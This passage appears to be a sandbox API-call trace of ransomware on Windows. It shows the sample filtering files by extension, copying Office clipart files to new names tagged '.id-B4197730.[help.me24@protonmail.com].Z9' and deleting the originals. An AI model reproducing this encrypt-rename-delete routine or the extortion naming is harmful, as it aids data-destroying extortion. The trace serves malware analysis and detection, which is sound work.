	[0094.800] lstrlenW (lpString=".1cd") returned 4
	[0094.800] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.800] lstrlenW (lpString=".jpg") returned 4
	[0094.800] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.800] lstrlenW (lpString=".doc") returned 4
	[0094.800] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString=".docx") returned 5
	[0094.800] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.800] lstrlenW (lpString=".pdf") returned 4
	[0094.800] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString=".xls") returned 4
	[0094.800] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.800] lstrlenW (lpString=".xlsx") returned 5
	[0094.800] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.800] lstrlenW (lpString=".ppt") returned 4
	[0094.800] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.800] lstrlenW (lpString=".zip") returned 4
	[0094.800] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.800] lstrlenW (lpString=".rar") returned 4
	[0094.800] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString=".bz2") returned 4
	[0094.800] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.800] lstrlenW (lpString=".7z") returned 3
	[0094.800] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.800] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.800] lstrlenW (lpString=".dbf") returned 4
	[0094.800] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.801] lstrlenW (lpString=".1cd") returned 4
	[0094.801] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.801] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH00693_.WMF") returned 68
	[0094.801] lstrlenW (lpString=".jpg") returned 4
	[0094.801] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.801] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.801] lstrlenW (lpString="HH01013_.WMF") returned 12
	[0094.801] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.802] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=2848) returned 1
	[0094.802] CloseHandle (hObject=0x300) returned 1
	[0094.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 0x220
	[0094.802] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.802] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.802] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.803] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.803] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.803] GetLastError () returned 0x0
	[0094.803] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0xb20, lpOverlapped=0x0) returned 1
	[0094.805] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xb30, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xb30, lpOverlapped=0x0) returned 1
	[0094.806] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0094.806] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0094.806] SetEndOfFile (hFile=0x394) returned 1
	[0094.806] CloseHandle (hObject=0x394) returned 1
	[0094.806] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.806] SetEndOfFile (hFile=0x300) returned 1
	[0094.807] CloseHandle (hObject=0x300) returned 1
	[0094.808] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0094.808] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01013_.wmf")) returned 1
	[0094.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.808] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.808] lstrlenW (lpString=".doc") returned 4
	[0094.808] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.808] lstrlenW (lpString=".docx") returned 5
	[0094.808] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.808] lstrlenW (lpString=".pdf") returned 4
	[0094.808] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.808] lstrlenW (lpString=".xls") returned 4
	[0094.808] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.808] lstrlenW (lpString=".xlsx") returned 5
	[0094.809] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.809] lstrlenW (lpString=".ppt") returned 4
	[0094.809] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.809] lstrlenW (lpString=".zip") returned 4
	[0094.809] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.809] lstrlenW (lpString=".rar") returned 4
	[0094.809] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString=".bz2") returned 4
	[0094.809] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString=".7z") returned 3
	[0094.809] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.809] lstrlenW (lpString=".dbf") returned 4
	[0094.809] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.809] lstrlenW (lpString=".1cd") returned 4
	[0094.809] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.809] lstrlenW (lpString=".jpg") returned 4
	[0094.809] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.809] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.809] lstrlenW (lpString=".doc") returned 4
	[0094.809] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString=".docx") returned 5
	[0094.809] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0094.809] lstrlenW (lpString=".pdf") returned 4
	[0094.809] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0094.809] lstrlenW (lpString=".xls") returned 4
	[0094.809] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0094.810] lstrlenW (lpString=".xlsx") returned 5
	[0094.810] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0094.810] lstrlenW (lpString=".ppt") returned 4
	[0094.810] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0094.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.810] lstrlenW (lpString=".zip") returned 4
	[0094.810] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0094.810] lstrlenW (lpString=".rar") returned 4
	[0094.810] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0094.810] lstrlenW (lpString=".bz2") returned 4
	[0094.810] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0094.810] lstrlenW (lpString=".7z") returned 3
	[0094.810] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0094.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.810] lstrlenW (lpString=".dbf") returned 4
	[0094.810] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0094.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.810] lstrlenW (lpString=".1cd") returned 4
	[0094.810] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0094.810] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01013_.WMF") returned 68
	[0094.810] lstrlenW (lpString=".jpg") returned 4
	[0094.810] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0094.811] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0094.811] lstrlenW (lpString="HH01015_.WMF") returned 12
	[0094.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.811] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=1148) returned 1
	[0094.811] CloseHandle (hObject=0x300) returned 1
	[0094.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 0x220
	[0094.811] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0094.811] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0094.812] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.812] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0094.812] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0094.812] GetLastError () returned 0x0
	[0094.812] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x47c, lpOverlapped=0x0) returned 1
	[0095.147] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x480, lpOverlapped=0x0) returned 1
	[0095.148] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.148] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.148] SetEndOfFile (hFile=0x394) returned 1
	[0095.148] CloseHandle (hObject=0x394) returned 1
	[0095.148] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.148] SetEndOfFile (hFile=0x300) returned 1
	[0095.149] CloseHandle (hObject=0x300) returned 1
	[0095.149] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.149] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh01015_.wmf")) returned 1
	[0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.150] lstrlenW (lpString=".doc") returned 4
	[0095.150] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.150] lstrlenW (lpString=".docx") returned 5
	[0095.150] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.150] lstrlenW (lpString=".pdf") returned 4
	[0095.150] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.150] lstrlenW (lpString=".xls") returned 4
	[0095.150] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.150] lstrlenW (lpString=".xlsx") returned 5
	[0095.150] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.150] lstrlenW (lpString=".ppt") returned 4
	[0095.150] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.150] lstrlenW (lpString=".zip") returned 4
	[0095.150] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.150] lstrlenW (lpString=".rar") returned 4
	[0095.150] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.150] lstrlenW (lpString=".bz2") returned 4
	[0095.150] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.150] lstrlenW (lpString=".7z") returned 3
	[0095.150] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.150] lstrlenW (lpString=".dbf") returned 4
	[0095.150] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.150] lstrlenW (lpString=".1cd") returned 4
	[0095.150] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.150] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.150] lstrlenW (lpString=".jpg") returned 4
	[0095.150] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.151] lstrlenW (lpString=".doc") returned 4
	[0095.151] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString=".docx") returned 5
	[0095.151] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.151] lstrlenW (lpString=".pdf") returned 4
	[0095.151] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString=".xls") returned 4
	[0095.151] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.151] lstrlenW (lpString=".xlsx") returned 5
	[0095.151] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.151] lstrlenW (lpString=".ppt") returned 4
	[0095.151] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.151] lstrlenW (lpString=".zip") returned 4
	[0095.151] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.151] lstrlenW (lpString=".rar") returned 4
	[0095.151] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString=".bz2") returned 4
	[0095.151] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString=".7z") returned 3
	[0095.151] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.151] lstrlenW (lpString=".dbf") returned 4
	[0095.151] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.151] lstrlenW (lpString=".1cd") returned 4
	[0095.151] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0095.151] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH01015_.WMF") returned 68
	[0095.151] lstrlenW (lpString=".jpg") returned 4
	[0095.151] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0095.151] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0095.152] lstrlenW (lpString="HH02298_.WMF") returned 12
	[0095.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.152] GetFileSizeEx (in: hFile=0x300, lpFileSize=0x260ff14 | out: lpFileSize=0x260ff14*=5552) returned 1
	[0095.152] CloseHandle (hObject=0x300) returned 1
	[0095.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 0x220
	[0095.152] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0095.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300
	[0095.152] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.152] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.152] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394
	[0095.153] GetLastError () returned 0x0
	[0095.153] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x15b0, lpOverlapped=0x0) returned 1
	[0095.154] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0x15c0, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0x15c0, lpOverlapped=0x0) returned 1
	[0095.155] ReadFile (in: hFile=0x300, lpBuffer=0x2e9c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x260fecc, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesRead=0x260fecc*=0x0, lpOverlapped=0x0) returned 1
	[0095.155] WriteFile (in: hFile=0x394, lpBuffer=0x2e9c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x260fc94, lpOverlapped=0x0 | out: lpBuffer=0x2e9c020*, lpNumberOfBytesWritten=0x260fc94*=0xec, lpOverlapped=0x0) returned 1
	[0095.155] SetEndOfFile (hFile=0x394) returned 1
	[0095.156] CloseHandle (hObject=0x394) returned 1
	[0095.156] SetFilePointerEx (in: hFile=0x300, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x260fec0 | out: lpNewFilePointer=0x0) returned 1
	[0095.156] SetEndOfFile (hFile=0x300) returned 1
	[0095.157] CloseHandle (hObject=0x300) returned 1
	[0095.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0095.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\hh02298_.wmf")) returned 1
	[0095.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.157] lstrlenW (lpString=".doc") returned 4
	[0095.157] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0095.157] lstrlenW (lpString=".docx") returned 5
	[0095.157] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0095.157] lstrlenW (lpString=".pdf") returned 4
	[0095.157] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0095.157] lstrlenW (lpString=".xls") returned 4
	[0095.157] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0095.157] lstrlenW (lpString=".xlsx") returned 5
	[0095.157] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0095.157] lstrlenW (lpString=".ppt") returned 4
	[0095.157] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0095.157] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.158] lstrlenW (lpString=".zip") returned 4
	[0095.158] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0095.158] lstrlenW (lpString=".rar") returned 4
	[0095.158] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString=".bz2") returned 4
	[0095.158] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString=".7z") returned 3
	[0095.158] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0095.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
	[0095.158] lstrlenW (lpString=".dbf") returned 4
	[0095.158] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0095.158] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\HH02298_.WMF") returned 68
